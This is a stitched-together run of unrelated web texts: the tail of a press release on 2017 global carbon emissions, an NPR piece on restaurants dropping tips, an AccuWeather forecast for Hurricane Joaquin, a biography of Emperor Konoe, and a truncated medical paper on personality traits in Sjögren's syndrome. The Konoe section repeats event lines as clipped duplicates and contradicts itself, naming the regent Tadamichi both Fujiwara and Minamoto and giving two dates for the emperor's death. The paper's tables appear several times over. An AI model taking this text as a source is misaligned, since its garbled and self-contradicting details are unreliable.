year we have seen how climate change can amplify the impacts of hurricanes with more intense rainfall, higher sea levels and warmer ocean conditions favouring more powerful storms. This is a window into the future. We need to reach a peak in global emissions in the next few years and drive emissions down rapidly afterwards to address climate change and limit its impacts."Key findings:Dr Glen Peters of the CICERO Center for International Climate Research in Oslo who led one of the studies said: "The return to growth in global emissions in 2017 is largely due to growth in Chinese emissions, projected to grow by 3.5% in 2017 after two years with declining emissions. The use of coal, the main fuel source in China, may rise by 3% due to stronger growth in industrial production and lower hydro-power generation due to less rainfall.""The growth in 2017 emissions is unwelcome news, but it is too early to say whether it is a one-off event on a way to a global peak in emissions, or the start of a new period with upward pressure on global emissions growth."The team flags that persistent uncertainties exist in our ability to estimate recent changes in emissions, particularly when there are unexpected changes as in the last few years."Even though we may detect a change in emission trend early, it may take as much as 10 years to confidently and independently verify a sustained change in emissions using measurements of atmospheric concentrations of carbon dioxide," said Dr Peters."Policy makers in Bonn are preparing for the Global Stocktake under the Paris Agreement, that will start in 2018 and occur every five years, and this puts immense pressure on the scientific community to develop methods and perform measurements that can truly verify changes in emissions within this five-yearly cycle," said Prof Le Quéré.University of East Anglia

Customers Can Keep The Tip — Which Might Please Restaurant Workers Enlarge this image toggle caption Courtesy of Packhouse Meats Courtesy of Packhouse Meats Imagine there's no tipping. By getting rid of gratuities, a few restaurants believe they'll make life easier for customers, while providing a more stable income to servers. "It eliminates the pressure on the guest to worry about paying our staff," says Brian Oliveira, chef at Girard, a French-style restaurant opening in Philadelphia in a few weeks that intends to offer its staff up to $13 an hour in salary, plus health benefits, but with no tips. Successful ideas in the restaurant business always get copied. Oliveira said he and his partners were inspired by no-tipping experiments happening at a handful of restaurants in California, Texas and New York. Those restaurants say employees are more satisfied and that service has actually improved. Moving away from tipping may never spread industrywide, but it's a model that may help answer some complaints about poor salaries. Packhouse, a no-tip meat emporium that opened in Newport, Ky., in January, pays servers $10 an hour and gives them the chance to earn 20 percent of their total sales per shift if they hit certain targets — whichever is higher. Servers bring home the bigger amount most days. "If it's dead all day, they don't walk out making nine bucks," says Kurt Stephens, Packhouse's general manager. Not all servers will be better off under this type of arrangement, but lack of tipping makes for easier accounting for customers and the business itself. Menu prices might read a bit higher, but diners will know what they'll end up paying at meal's end — probably no more than they would have at an equivalent place where they'd tip. And lack of tips simplifies compliance for restaurateurs obligated to make up the difference between servers' base pay and the standard minimum wage, if they don't make enough in tips. Currently, the federal minimum wage for tipped workers is $2.13 an hour, although that baseline is higher in a majority of states. Tipping creates winners and losers. The people who bring you your steaks at high-end restaurants are probably doing quite well off tips, but many restaurant workers can't count on bringing home big bucks, especially after slow shifts on off days. A recent study from the labor-backed Economic Policy Institute found that 17 percent of restaurant workers live in poverty. "I'm very aware that at some establishments, people would do far better under the existing tipping model," says Bill Perry, who is about to open Public Option, a no-tipping pub in Washington, D.C. "In our category, which is much more neighborhood-oriented, we're concerned that the variability of tips may not produce a good income." This is an idea still very much in the making. Girard and Public Option aren't even open yet. With only a few other restaurants around the country having made the move away from tipping, it's not at all clear this will be a successful alternative. But the increasing pressure on restaurants to pay their employees more — from fast-food workers to waiters hustling for tips — is one reason outlets should consider the tip-free approach, says Dennis Lombardi, a restaurant consultant based in Columbus, Ohio. Wage increases are bound to translate into higher menu prices. "By going to nontipping, they can pay that living wage," Lombardi says, "without having the additional cost of tipping that will determine whether the customer comes back to the restaurant." It works in Europe. But tipping has long been a part of the American way of dining out, a tool for diners to reward good service — and, less often, to punish those who fail to satisfy. The desire to earn good tips is part of what prompts people to give good service and "promotes the spirit of hospitality," says Hudson Riehle, senior vice president of research at the National Restaurant Association. "Along with flexible work schedules, tipping is part of what makes [being] a restaurant server an attractive profession for millions of Americans," he says. Even a labor advocate such as Saru Jayaraman, who directs the food labor research center at the University of California, Berkeley and calls the no-tip approach "a fabulous model," worries that it won't pay off for all workers. An increased base wage is a step in the right direction, she says, but she worries that salaries of $10 or $13 an hour won't be enough. "Restaurant workers are professionals and in other countries are paid like professionals — $18 or $20 an hour," Jayaraman says. But many restaurant workers in the U.S. don't make anything near those amounts, she concedes. So the prospect of a guaranteed income will be enticing for many who have come home with hardly anything to show after a quiet Tuesday afternoon lunch shift, suggests Perry, the D.C. restaurateur. "Some of the folks we spoke to really cited the variability — that they never know what to expect," Perry says. "They can't wait to actually try [the no-tipping model] out." Restaurant workers have traditionally experienced either feast or famine when it comes to their own pay packets. Some workers might be content just knowing the exact amount of take-home pay they can count on — at least, that's what the number of applicants at the new no-tipping establishments would suggest. "We're kind of taking the risk off the server and putting it back on the business," says Stephens, the Packhouse general manager. "There's hardly any turnover, and everybody's making money." A former NPR staffer, Alan Greenblatt is a journalist based in St. Louis.

Flooding from Hurricane Joaquin will impact areas from South Carolina to Massachusetts regardless of whether it makes landfall or if the center stays out to sea. People should not let their guard down due to a shifting track of the hurricane as the risk to lives and property in this complex situation remains high. A copious amount of moisture will unload very heavy rainfall along parts of the Atlantic Seaboard and the Appalachians into early next week. Strong winds, coastal flooding and beach erosion will occur and could be very damaging even in the absence of a landfall. Hurricane Joaquin strengthened rapidly Wednesday into Thursday. Joaquin reached Category 3 status late Wednesday evening and Category 4 status on Thursday afternoon. JUMP TO: Joaquin Track Scenarios | Inland Flooding | Coastal Flooding, Strong Winds The storm will bring pounding surf, dangerous seas, strong winds, drenching squalls and flash flooding to the central Bahamas. Wind gusts could reach between 75 and 100 mph on some of the islands. As a result, Joaquin will threaten lives and property in the Bahamas into Friday. Bahamasair has canceled flights for Thursday in parts of the islands. Joaquin will turn to the north this weekend. Governors in Virginia, New Jersey and North Carolina have issued a State of Emergency. Other states may follow suit. Joaquin Track Scenarios Joaquin has strengthened significantly and continues to hover near the Bahamas on Thursday. This delay has altered the forecast track. Other weather systems impacting Joaquin will be in slightly different positions as a result. Joaquin will move northward much of this weekend, roughly paralleling the East coast. There is nearly equal possibility the storm will make landfall along the mid-Atlantic coast, the New England coast or veer out to sea. Due to the potential close proximity of the hurricane to the coast, people from the Carolinas to Massachusetts will need to closely monitor the track and strength of Joaquin for high wind and coastal flooding concerns. Should Joaquin make landfall, areas near and north of the center would face the worst coastal flooding and strong winds. If the storm were to make landfall in North Carolina, then it would be on Sunday. If the storm were to turn into Virginia, then it would be on Sunday night. From the Delmarva Peninsula to New Jersey, a landfall would not occur until Monday. If Joaquin fails to make landfall in the mid-Atlantic and does not escape out to sea, then New England could face the brunt of the storm with deteriorating conditions early next week. Inland Flooding In some areas, heavy rain will fall on top of what has already fallen earlier this week. Flooding rainfall will occur well ahead of Joaquin's arrival and even if Joaquin stays at sea. According to AccuWeather Chief Meteorologist Elliot Abrams, a large arm of heavy rain from the Atlantic will pivot westward and southward into the weekend. "The worst flooding will be where it rains the longest or the near the pivot point," Abrams said. "That point is likely to be centered on the Carolinas and Virginia this weekend." For this reason, people should not focus on only the projected path of Joaquin but also on the projected heavy rainfall hundreds of miles away from the storm's center. Power outages could occur in addition to flooding as substations get flooded and waterlogged trees topple over. Through Sunday, the rounds of heavy rain will likely be of shorter duration in the northern mid-Atlantic and could be very brief in New England. If the area from Maryland to Massachusetts gets long-lasting rain from Joaquin, it is most likely to be early next week. Any inland flooding prior to this time will be limited to urban areas and along small streams. Farther south from Virginia to the Carolinas, the threat for widespread flash flooding will increase, along with the potential for river flooding. Rivers that bear close watching for flooding include the New, Tar, Meherrin, Savannah, Shenandoah and James. Coastal Flooding, Strong Winds Like flash and urban flooding, coastal flooding and beach erosion will occur well away from the storm center and ahead of the storm, even if the storm remains at sea. Onshore winds from the east and northeast will push the Atlantic Ocean water toward the coast, causing it to pile up around the barrier islands and bays. This is known as coastal flooding. Winds, seas and tide levels will continue to build from the Carolinas to Massachusetts through the weekend. East to northeast gusts may frequent 40 mph well ahead of Joaquin's approach. The onshore winds alone, in absence of Joaquin reaching the coast, could cause water levels to rise to an average of 2-3 feet above normal tides. These conditions are likely to occur hundreds of miles to the north of the storm's center. Winds could become strong enough to down trees and power lines and cause minor property damage. Much more severe winds, waves and coastal flooding would occur if landfall occurs, near and north of the center. Those in the projected path of the storm should be preparing for the potential rain and wind from Joaquin. Residents in coastal areas should be ready to evacuate if orders are given. From AccuWeather.com (find the original story here); reprinted with permission.

Emperor Konoe (近衛天皇, Konoe-tennō, June 16, 1139 – August 22, 1155) was the 76th emperor of Japan,[1] according to the traditional order of succession.[2] Konoe's reign spanned the years from 1142 through 1155.[3] Genealogy [ edit ] Before his ascension to the Chrysanthemum Throne, his personal name (his imina)[4] was Narihito-shinnō (体仁親王).[5] He was also known as Tosihito-shinnō.[6] Emperor Konoe was the eighth son of Emperor Toba.[6] His mother was Fujiwara no Nariko (1117–1160), the wife of Emperor Toba. [7] Chūgū: Fujiwara no Shimeko (藤原呈子) later Kujō-in (九条院), Fujiwara no Koremichi’s daughter and Fujiwara no Tadamichi’s adopted daughter. Events of Konoe's life [ edit ] Konoe was named heir shortly after he was born in 1139; and he was proclaimed emperor at the age of 3. Eiji 1 , in the 3rd month (1141): The former emperor Toba accepted the tonsure and became a Buddhist monk at the age of 39 years. [8] , in the 3rd month (1141): The former emperor Toba accepted the tonsure and became a Buddhist monk at the age of 39 years. Eiji 1, on the 7th day of the 12th month (永治元年; 1141): In the 18th year of Sutoku-tennō's reign (崇徳天皇十八年), the emperor abdicated; and the succession (senso) was received by a younger brother, the 8th son of former Emperor Toba. Shortly thereafter, Emperor Konoe is said to have acceded to the throne (sokui).[9] At that time, the Kampaku Fujiwara-no Tadamichi became Sesshō or regent. The Cloistered Emperor Toba continued to direct all the affairs of government, while the retired Emperor Sutoku had no powers. This conflict resulted in many controversies during Konoe's reign.[6] Kōji 2 , in the 1st month (1143): Cloistered Emperor Toba-in, now known by the title Daijō Hōō or Hōō (太上法皇), visited his mother. [6] , in the 1st month (1143): Cloistered Emperor Toba-in, now known by the title or (太上法皇), visited his mother. Kōji 2 , in the 5th month (1143): Konoe passed his days praying at Tōdai-ji and also at the temples on Mount Hiei. [6] , in the 5th month (1143): Konoe passed his days praying at Tōdai-ji and also at the temples on Mount Hiei. Ten'yō gannen or Ten'yō 1 , in the 7th month (1145): A comet was sighted in the sky; and for this reason, the name of the nengō was changed to Kyūan . [6] or , in the 7th month (1145): A comet was sighted in the sky; and for this reason, the name of the was changed to . Kyūan 1 , in the 8th month (1145): The mother of former Emperor Sutoku (also known as "Taikenmon-In" ) died. [6] , in the 8th month (1145): The mother of former Emperor Sutoku (also known as ) died. Kyūan 2 , in the 2nd month (1146), Konoe visited Toba-no -Hōō . [6] , in the 2nd month (1146), Konoe visited Toba-no . Kyūan 2 , in the 12th month (1146), Konoe joined in a celebration honoring Sesshō Fujiwara no Tadamichi (the regent) on his 58th birthday. [6] This event was important because, in each sexagenary cycle, the first and the fifty-eighth years were considered to be auspicious according to Chinese astrological principles. , in the 12th month (1146), Konoe joined in a celebration honoring Fujiwara no Tadamichi (the regent) on his 58th birthday. This event was important because, in each sexagenary cycle, the first and the fifty-eighth years were considered to be auspicious according to Chinese astrological principles. Kyūan 4 , in the 6th month (1148: The imperial palace was consumed by flames. [10] , in the 6th month (1148: The imperial palace was consumed by flames. Kyūan 6 , in the 1st month (1150): Konoe assumed the role of a mature adult; and he married Fujiwara-no Tokoku, who had been raised by Sadaijin Yorinaga. Tokoku was the daughter of Dainagon Taira-no Kiyomori. This bride became Kōkōgō (皇皇后) or first empress. [10] , in the 1st month (1150): Konoe assumed the role of a mature adult; and he married Fujiwara-no Tokoku, who had been raised by Yorinaga. Tokoku was the daughter of Taira-no Kiyomori. This bride became (皇皇后) or first empress. Kyūan 6 , in the 3rd month (1150): Konoe married again, this time to "Feï-si," who had been raised by Sesshō Fujiwara-no Tadamichi. She was the daughter of Dainagon Fujiwara-no Koremichi. This bride became Chūgū (中宮) or second empress. Konoe was so very much enamoured of this second wife that he neglected his first wife, which caused discord in the kugyō, especially between Tadamichi and Yorinaga. [10] , in the 3rd month (1150): Konoe married again, this time to "Feï-si," who had been raised by Fujiwara-no Tadamichi. She was the daughter of Fujiwara-no Koremichi. This bride became (中宮) or second empress. Konoe was so very much enamoured of this second wife that he neglected his first wife, which caused discord in the especially between Tadamichi and Yorinaga. Kyūan 6 , in the 12th month (1150): Sesshō Minamoto-no Tadamichi, resigns his position and is named Daijō Daijin . In this same month, Minamoto-no Yoshikane became head of the Ashikaga clan in Shimotsuke Province. [10] , in the 12th month (1150): Minamoto-no Tadamichi, resigns his position and is named . In this same month, Minamoto-no Yoshikane became head of the Ashikaga clan in Shimotsuke Province. Ninpei 1 , in the 1st month (1151): Sadaijin Yorinaga was given additional power as "Naï-ken," which gave him the duty and opportunity of reading formal written requests before they should be presented to the emperor. This had been amongst the powers of the Sesshō or the Kampaku. Factions in the court who favored Yorinaga tended to dislike Tadamichi, and they employed any means possible to help elevate Yorinaga's position. However, Yorinaga was himself generally disliked because of his capricious character. his tactics and strategy for enhancing his own prestige were focused primarily on diminishing Tadamichi's role in the court. [11] , in the 1st month (1151): Yorinaga was given additional power as which gave him the duty and opportunity of reading formal written requests before they should be presented to the emperor. This had been amongst the powers of the or the Factions in the court who favored Yorinaga tended to dislike Tadamichi, and they employed any means possible to help elevate Yorinaga's position. However, Yorinaga was himself generally disliked because of his capricious character. his tactics and strategy for enhancing his own prestige were focused primarily on diminishing Tadamichi's role in the court. Ninpei 2 , on the 7th day of the 3rd month (1152): Konoe visited the home of Toba-no -Hōō to celebrate his father's 50th birthday; and the emperor stayed until the next day, amusing himself with dances and with listening to musical performances. [12] , on the 7th day of the 3rd month (1152): Konoe visited the home of Toba-no to celebrate his father's 50th birthday; and the emperor stayed until the next day, amusing himself with dances and with listening to musical performances. Ninpei 3 , on the 2nd day of the 1st month (1153): Konoe visited his father's home; and in the same month Taira-no Tadamori, the head of the criminal tribunal, died; and this position was soon filed by his son, Taira-no Kiyomori. [12] , on the 2nd day of the 1st month (1153): Konoe visited his father's home; and in the same month Taira-no Tadamori, the head of the criminal tribunal, died; and this position was soon filed by his son, Taira-no Kiyomori. Kyūju gannen or Kyūju 1 , in the 5th month (1154): Udaijin Minamoto-no Masasada retired from public life to become a priest at age 61. He died several years later. [12] or , in the 5th month (1154): Minamoto-no Masasada retired from public life to become a priest at age 61. He died several years later. Kyūju gannen or Kyūju 1 , in the 8th month (1154): Fujiwara-no Saneyoshi, Grand General of the Right, was elevated to the role of Grand General of the Left; and the former Dainagon Fujiwara-no Kanenaga (aged 17) was elevated to take on the newly vacated role of Grand General of the Right. [12] or , in the 8th month (1154): Fujiwara-no Saneyoshi, Grand General of the Right, was elevated to the role of Grand General of the Left; and the former Fujiwara-no Kanenaga (aged 17) was elevated to take on the newly vacated role of Grand General of the Right. Kyūju 2 , on the 23rd day of the 7th month (1155): Emperor Konoe died at the age of 17 years without leaving any heirs. [13] , on the 23rd day of the 7th month (1155): Emperor Konoe died at the age of 17 years without leaving any heirs. Kyūju 2, on the 24th day of the 7th month (大同元年; 1155): In the 14th year of Konoe-tennō's reign (近衛天皇14年), the emperor died; and despite an ensuring dispute over who should follow him as sovereign, contemporary scholars then construed that the succession (enso) was received by a younger brother, the 14th son of former-Emperor Toba. Shortly thereafter, Emperor Go-Shirakawa is said to have acceded to the throne (sokui).[14] During Konoe's reign, the Enshō (Superiority of Duration) Temple. After this, successive emperors no longer build Imperial-prayer temples.[15] Emperor Konoe's reign lasted for 13 years: 2 years in the nengō Kōji, 1 year in Ten'yō, 6 years in Kyūan, 3 years in Ninpei, and 2 years in Kyūju.[12] Kugyō [ edit ] Kugyō (公卿) is a collective term for the very few most powerful men attached to the court of the Emperor of Japan in pre-Meiji eras. In general, this elite group included only three to four men at a time. These were hereditary courtiers whose experience and background would have brought them to the pinnacle of a life's career. During Konoe's reign, this apex of the Daijō-kan included: Eras of Konoe's reign [ edit ] The years of Konoe's reign are more specifically identified by more than one era name or nengō.[17] Ancestry [ edit ] [18] See also [ edit ] Notes [ edit ]

Abstract Objectives. To determine the spectrum of personality and psychopathology features of patients with primary SS (pSS) and explore whether they are linked to disease characteristics as well as the presence of autoantibodies (autoAbs) against neuropeptides. Methods. Personality and psychopathological variables were determined in 103 pSS patients and 110 healthy controls (HCs). AutoAbs against hypothalamic and pituitary neuropeptides were measured by ELISA in 25 pSS patients and 25 HCs. Data analysis was performed by univariate and multivariate logistic regression models and by comparison with regression models. Results. A higher number of pSS patients reported distinct personality traits (neuroticism, psychoticism and obsessiveness) and psychological distress compared with HCs. After adjustment for personality characteristics and demographics, only hypochondriasis was the main psychopathology feature associated with pSS, suggesting that psychopathological manifestations in the setting of pSS are primarily dependent on premorbid personality characteristics. Although no differences were detected between serum levels of neuropeptide autoAbs in pSS cases and controls, levels of autoAbs against α-melanocyte-stimulating hormone (α-MSH) correlated with anxiety scores in both groups examined but with higher intercept in pSS subjects. Significant correlations between anxiety score and autoAbs directed against oxytocin and vasopressin were also detected in the pSS patients. Conclusions. pSS patients exhibit a distinct pattern of personality traits and high levels of psychological distress compared with HCs, which seems to be determined by premorbid personality characteristics. Correlations between anxiety and α-MSH autoAbs suggest their potential involvement in anxiety development in both pSS and HCs. Introduction SS is a chronic autoimmune disorder characterized by lymphocytic infiltration of salivary and lacrimal glands, leading to oral and ocular dryness. SS can occur either alone [primary SS (pSS)] or in the context of an underlying CTD (secondary SS). Although the exact pathogenesis of the disease remains largely unknown, genetic, viral, hormonal and environmental factors have been so far implicated. SS is characterized either by local (glandular) or systemic involvement manifested among others with pulmonary, renal and neuropsychiatric features [1]. Psychiatric involvement in pSS is well recognized. Atypical depression, anxiety disorders and psychotic features have been previously reported [2–10]. The chronic nature of the disorder as well as the risk of lymphoma development in a subset of these patients [11] might represent important risk factors for psychopathological complications. Our previous work has demonstrated a dysfunctional stress-coping style in pSS patients, as well as a possible implication of stressful life events as a trigger for disease onset [12]. The current approach for a thorough psychiatric evaluation is based on the Diagnostic and Statistical Manual of Mental Disorder (DSM) IV [13] and includes the evaluation of a patient on a five-axis system. Axis I refers to current psychiatric symptoms, Axis II to personality disturbances, Axis III to comorbid conditions, Axis IV to psychosocial and environmental contributors and Axis V to overall functioning. Although there is a strong association of Axis I psychopathology and the substrate personality traits of Axis II, no data are so far available regarding the effect of personality characteristics of pSS patients in the induction of psychopathological behaviour. Personality is defined as the emotional and behavioural characteristics or traits that constitute stable and predictable ways through which an individual relates to, perceives and thinks about the environment and the self. Neuroticism, psychoticism and extroversion represent stable dimensions of personality structure; they share a genetic [14] and environmental basis and their stability has been established over a long-term period [15–18]. Centrally-mediated adrenal axis insufficiency has been documented in the setting of pSS as well as in many psychiatric disorders including atypical depression, anorexia and bulimia nervosa [19,–,21]. Moreover, it has been recently suggested that autoantibodies (autoAbs) reactive with adrenocorticotropic hormone (ACTH) and α-melanocyte-stimulating hormone (α-MSH) might be implicated in the pathogenesis of psychiatric symptomatology [22,–,24]. These autoAbs seem to be stimulated in animal models after exposure to stress as a result of concomitant Hypothalamic-Pituitary-Adrena axis activation [25]. In this context, our aim was to determine the spectrum of personality and psychopathological features of pSS patients and explore whether they associate with disease manifestations, as well as the presence of autoAbs directed against hypothalamic or pituitary neuropeptides. Materials and methods The study was designed as a case–control study. All patients and controls, after giving informed consent, were interviewed by the same investigator and completed a battery of validated psychometric questionnaires. The study was approved by the local ethics committee of Laiko Hospital. Only individuals with a mini-mental status examination [26] score of >23 were included in the study, since a score <23 may indicate severe cognitive impairment. Patients One hundred and twenty pSS patients were initially approached. Thirteen patients refused to participate and four patients had mini-mental examination scores of <23. Thus, the final case group consisted of 103 pSS patients (97 females/6 males) according to the revised European–American criteria [27] for pSS. All patients were followed in the outpatient Rheumatology Clinic of the Department of Pathophysiology, School of Medicine, University of Athens, Greece. pSS patients were classified in type I and thus as high risk for lymphoma development and in benign type II form according to the presence or absence of low C4 or palpable purpura respectively. Clinical and laboratory data were recorded by retrospective chart review. Clinical data included the presence of symptoms or signs of ocular dryness (positive Schirmer’s test and/or Rose Bengal staining), oral symptoms (dry mouth), parotid enlargement, purpura, lymphadenopathy (excluding minor inguinal lymphadenopathy), splenomegaly, RP, FM, musculoskeletal, lung, kidney, liver, neurological involvement and lymphoma development. Furthermore, laboratory data including Schirmer’s test, Rose Bengal score, focus scores of the minor salivary gland biopsies and autoAbs against Ro (SSA) and La (SSB) antigens have been recorded for all patients. Controls One hundred and twenty healthy controls (HCs) were randomly selected among friends and relatives of the hospital’s medical, nursing and administrative personnel. Among them five refused to participate, whereas five had mini-mental examination scores <23 and therefore were excluded from the study. Thus, the control group consisted of 110 HCs (103 females/7 males) unrelated to the patients who were age–sex matched with the pSS group. Exclusion criteria included the presence of autoimmune disease, neuropsychiatric history, use of psychotropic drugs, alcoholism and drug abuse. The first part of the questionnaire addressed the main demographic characteristics as well as smoking and drinking habits. The second part of the questionnaire consisted of the following self-administered psychometric scales: (i) Zung Depression Scale [28], a validated questionnaire for assessing depressive illness; (ii) State–Trait Anxiety Inventory (STAI) [29], a questionnaire used to assess anxiety either as a personality feature or as a current state; (iii) Whiteley Index [30]; a scale that assesses the presence of hypochondriasis; (iv) The Symptom Checklist-90-Revised (SCL-90R) [31], a tool that explores general psychopathology in the areas of Axis I; (V) Eysenck Personality Questionnaire (EPQ) Scale [15], a questionnaire that estimates temperamental aspects of behaviour based on the three independent axes of neuroticism, psychoticism and extraversion (no inter-correlations between these three axes have been detected); and (vi) the Leyton Obsessional Inventory [32]; a scale that evaluates obsessive traits (not symptoms) as personality characteristics. All questionnaires used have been validated for the Greek population and previously been implemented for psychiatric screening in autoimmune populations. Cut-off points were set according to the normative data derived from validation of scales in the Greek population [33]. Assay for neuropeptide autoAbs Venous blood samples were drawn from a randomly selected sample of the study participants: 25 pSS patients and 25 age- and sex-matched HCs (1 : 4 ratio for each group). Plasma was immediately separated by centrifugation and frozen at −20°C. Levels of free IgG autoAbs reactive with ACTH, corticotropin-releasing hormone (CRH), α-MSH, neuropeptide Y (NPY), oxytocin (OT) and vasopressin (VP) were measured by ELISA, as described elsewhere [24]. Synthetic ACTH, CRH, α-MSH, NPY, OT and VP peptides (Bachem AG, Bubendorf, Switzerland) were coated at 2 μg/ml on ELISA Maxisorp plates (Nunc, Rochester, NY, USA). Serum from patients and controls were diluted in phosphate-buffered saline (1 : 100). Several serial dilutions of sera were initially performed (1 : 50, 1 : 100 and 1 : 200) to select an optimal dilution for the detection of each neuropeptide autoAb. IgG autoAbs were detected by adding anti-human alkaline phosphatase-conjugated secondary antibodies (Sigma, St Louis, MO, USA) directed against heavy γ chains of immunoglobulins. The optical density of the chromogenic reaction was measured in an ELISA plate reader after addition of p-nitrophenyl phosphate (Sigma) as an alkaline phosphatase substrate. Statistical analysis The individual associations between psychopathology variables, personality characteristics and pSS were evaluated using odds ratios (ORs) and their corresponding 95% CIs calculated using univariate logistic regression. If the 95% CIs of OR did not include the value of 1.0 the association was significant at the 0.05 level. An OR value >1.0 indicates a positive association between pSS and the variables tested. To determine the associations between psychopathology variables and pSS, multivariate analysis was conducted using binary logistic regression after adjustment for personality variables that are found to be significant in the univariate model (without presenting inter-correlations) and demographics (marital status, occupational status and educational level). To define the associations between psychopathology variables and pSS prognostic type (Type I vs Type II), an analysis was performed using the Mann–Whitney U-test. The individual associations of psychopathology variables with clinical and laboratory parameters (as categorical variables) of the disease were also evaluated using ORs and their corresponding 95% CIs, followed by a multivariate analysis (adjusting for age and sex) using logistic regression. Comparison with titres of autoAbs against hypothalamic and pituitary neuropeptides (as numerical variables of the optical density in ELISA) in pSS patients and controls was performed by using the Mann–Whitney U-test. The associations between levels of hypothalamic and pituitary neuropeptides and psychopathology and personality scores were estimated with Spearman’s ρ correlation. The associations of psychopathology variables (as numerical variables) with neuropeptide autoAbs (as numerical variables), taking into account the different groups (pSS and controls) were estimated by comparison with regression models. This model fits regression lines for one predictor at each level of a second predictor and tests for significant differences between the intercepts and the slopes. P < 0.05 was considered statistically significant. The analysis was performed using the SPSS statistical program package and GLIM 3.77 (Royal Statistical Society, London, UK). Results Demographics The mean age of the pSS and control group was 57.60 (12.28) and 57.30 (12.46) years, respectively. As shown in Table 1 statistical significant differences between the two groups concerning their demographics were observed in marital status and in educational status. T able 1 Demographics pSS (n = 103) HC (n = 110) P-value Age, mean ( s.d .), years 57.6 (12.2) 57.3 (12.4) Females 97 (94.1) 103 (93.6) Marital status Married 70 (68.0) 62 (56.4) 0.09 Widowed 10 (9.7) 19 (17.3) <0.05 Divorced 8 (7.8) 10 (9.1) 0.81 Single 15 (14.6) 19 (17.3) 0.71 Educational level Primary school 45 (43.7) 52 (47.3) 0.68 Middle school 12 (11.7) 26 (23.6) <0.05 High school 22 (21.4) 14 (12.7) 0.10 University 24 (23.3) 18 (16.4) 0.23 Occupational status Household 48 (46.6) 44 (40.0) 0.33 Unemployed 7 (6.4) 6 (5.8) 0.77 Working 40 (29.5) 38 (34.2) 0.72 Retired 18 (17.5) 22 (20.0) 0.57 Demographics pSS (n = 103) HC (n = 110) P-value Age, mean ( s.d .), years 57.6 (12.2) 57.3 (12.4) Females 97 (94.1) 103 (93.6) Marital status Married 70 (68.0) 62 (56.4) 0.09 Widowed 10 (9.7) 19 (17.3) <0.05 Divorced 8 (7.8) 10 (9.1) 0.81 Single 15 (14.6) 19 (17.3) 0.71 Educational level Primary school 45 (43.7) 52 (47.3) 0.68 Middle school 12 (11.7) 26 (23.6) <0.05 High school 22 (21.4) 14 (12.7) 0.10 University 24 (23.3) 18 (16.4) 0.23 Occupational status Household 48 (46.6) 44 (40.0) 0.33 Unemployed 7 (6.4) 6 (5.8) 0.77 Working 40 (29.5) 38 (34.2) 0.72 Retired 18 (17.5) 22 (20.0) 0.57 View Large T able 1 Demographics pSS (n = 103) HC (n = 110) P-value Age, mean ( s.d .), years 57.6 (12.2) 57.3 (12.4) Females 97 (94.1) 103 (93.6) Marital status Married 70 (68.0) 62 (56.4) 0.09 Widowed 10 (9.7) 19 (17.3) <0.05 Divorced 8 (7.8) 10 (9.1) 0.81 Single 15 (14.6) 19 (17.3) 0.71 Educational level Primary school 45 (43.7) 52 (47.3) 0.68 Middle school 12 (11.7) 26 (23.6) <0.05 High school 22 (21.4) 14 (12.7) 0.10 University 24 (23.3) 18 (16.4) 0.23 Occupational status Household 48 (46.6) 44 (40.0) 0.33 Unemployed 7 (6.4) 6 (5.8) 0.77 Working 40 (29.5) 38 (34.2) 0.72 Retired 18 (17.5) 22 (20.0) 0.57 Demographics pSS (n = 103) HC (n = 110) P-value Age, mean ( s.d .), years 57.6 (12.2) 57.3 (12.4) Females 97 (94.1) 103 (93.6) Marital status Married 70 (68.0) 62 (56.4) 0.09 Widowed 10 (9.7) 19 (17.3) <0.05 Divorced 8 (7.8) 10 (9.1) 0.81 Single 15 (14.6) 19 (17.3) 0.71 Educational level Primary school 45 (43.7) 52 (47.3) 0.68 Middle school 12 (11.7) 26 (23.6) <0.05 High school 22 (21.4) 14 (12.7) 0.10 University 24 (23.3) 18 (16.4) 0.23 Occupational status Household 48 (46.6) 44 (40.0) 0.33 Unemployed 7 (6.4) 6 (5.8) 0.77 Working 40 (29.5) 38 (34.2) 0.72 Retired 18 (17.5) 22 (20.0) 0.57 View Large Personality and psychopathological features in pSS patients and HCs As shown in Table 2, univariate analysis revealed significant associations between personality characteristics and pSS. Table 3 illustrates significant associations between several psychopathology variables and pSS in the univariate analysis. In a subsequent multivariate analysis—after adjustment for EPQ neuroticism >12, EPQ psychoticism >2, marital status, educational level and occupational status (as categorical variables)—significant associations between psychopathology variables and pSS were produced for the following: hypochondriasis, positive symptoms distress index and number of positive symptoms. T able 2 Personality features pSS (n = 103) HC (n = 110) OR (95% CI) EPQ neuroticism >12 51 (49.5) 20 (18.2) 4.41 (2.37, 8.20) EPQ psychoticism >2 46 (44.7) 24 (21.8) 2.89 (1.59, 5.25) EPQ extroversion >9 22 (21.4) 30 (27.3) 0.72 (0.38, 1.36) EPQ lie >12 21 (19.1) 15 (14.6) 0.72 (0.35, 1.49) Trait anxiety (STAI) >35 37 (35.9) 18 (16.4) 2.86 (1.50, 5.46) Obsessiveness (Leyton) >10 28 (27.2) 13 (11.8) 2.78 (1.35, 5.74) Personality features pSS (n = 103) HC (n = 110) OR (95% CI) EPQ neuroticism >12 51 (49.5) 20 (18.2) 4.41 (2.37, 8.20) EPQ psychoticism >2 46 (44.7) 24 (21.8) 2.89 (1.59, 5.25) EPQ extroversion >9 22 (21.4) 30 (27.3) 0.72 (0.38, 1.36) EPQ lie >12 21 (19.1) 15 (14.6) 0.72 (0.35, 1.49) Trait anxiety (STAI) >35 37 (35.9) 18 (16.4) 2.86 (1.50, 5.46) Obsessiveness (Leyton) >10 28 (27.2) 13 (11.8) 2.78 (1.35, 5.74) View Large T able 2 Personality features pSS (n = 103) HC (n = 110) OR (95% CI) EPQ neuroticism >12 51 (49.5) 20 (18.2) 4.41 (2.37, 8.20) EPQ psychoticism >2 46 (44.7) 24 (21.8) 2.89 (1.59, 5.25) EPQ extroversion >9 22 (21.4) 30 (27.3) 0.72 (0.38, 1.36) EPQ lie >12 21 (19.1) 15 (14.6) 0.72 (0.35, 1.49) Trait anxiety (STAI) >35 37 (35.9) 18 (16.4) 2.86 (1.50, 5.46) Obsessiveness (Leyton) >10 28 (27.2) 13 (11.8) 2.78 (1.35, 5.74) Personality features pSS (n = 103) HC (n = 110) OR (95% CI) EPQ neuroticism >12 51 (49.5) 20 (18.2) 4.41 (2.37, 8.20) EPQ psychoticism >2 46 (44.7) 24 (21.8) 2.89 (1.59, 5.25) EPQ extroversion >9 22 (21.4) 30 (27.3) 0.72 (0.38, 1.36) EPQ lie >12 21 (19.1) 15 (14.6) 0.72 (0.35, 1.49) Trait anxiety (STAI) >35 37 (35.9) 18 (16.4) 2.86 (1.50, 5.46) Obsessiveness (Leyton) >10 28 (27.2) 13 (11.8) 